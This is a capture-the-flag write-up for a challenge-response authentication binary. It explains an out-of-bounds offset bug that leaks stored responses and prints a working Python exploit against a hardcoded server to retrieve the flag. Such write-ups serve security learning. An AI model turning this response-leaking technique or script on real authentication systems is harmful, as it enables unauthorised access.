Introduction
This exploitation challenge is based on a Challenge-Response-Authentication-Protocol system.
The goal was to figure out a way to get challenges responses without the challenge-response keygen algorithm.
Running the binary
Since we don't have the challenge-response keygen algorithm (libchallengeresponse.so) we can create a decoy one.
#include <stdio.h>
int fillChallengeResponse(unsigned int *a, unsigned int *b) {
unsigned int data;
unsigned int i;
FILE *fp;
fp = fopen("/dev/urandom", "r");
for(i = 0; i < 8; i++) {
fread(&data, 1, sizeof(unsigned int), fp);
*(a + i) = data;
*(b + i) = data;
}
fclose(fp);
return 0;
}
Compile the C program above with GCC and put libchallengeresponse.so in /lib32/.
gcc -m32 -shared -o libchallengeresponse.so -fPIC libchallengeresponse.c
The vulnerability
The challenges are stored from 0x0804A0C0
to 0x0804A0DF
, the responses are stored from 0x0804A0E0
to 0x0804A0F
.
If we send 0xA0
to the server we get the first challenge, if we send 0xA2
we get the third challenge.
During a challenge request the lowest byte value is multiplied by 4. It represents the offset to step to the next 32 bit value.
The vulnerability lies in the fact that we can manipulate the offset from 0x00
to 0x0F
in a challenge request.
The program expect the client to request challenge from 0xA0
to 0xA7
.
If the client sends 0xA8
the query is valid and the first response is sent back.
The exploit
#!/usr/bin/env python
import socket
HOST = "54.85.89.65"
PORT = 8888
SIZE = 512
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Receive banner
s.recv(SIZE)
# Get challenge bytes and send them back
for i in range(8) :
s.send(chr(0xA8 + i))
chall = s.recv(4)
s.send(chr(0xE0 + i))
s.send(chall)
# Ask for the flag
s.send("\x80")
# Receive and display the flag
data = s.recv(SIZE)
print(data)
# Exit
s.close()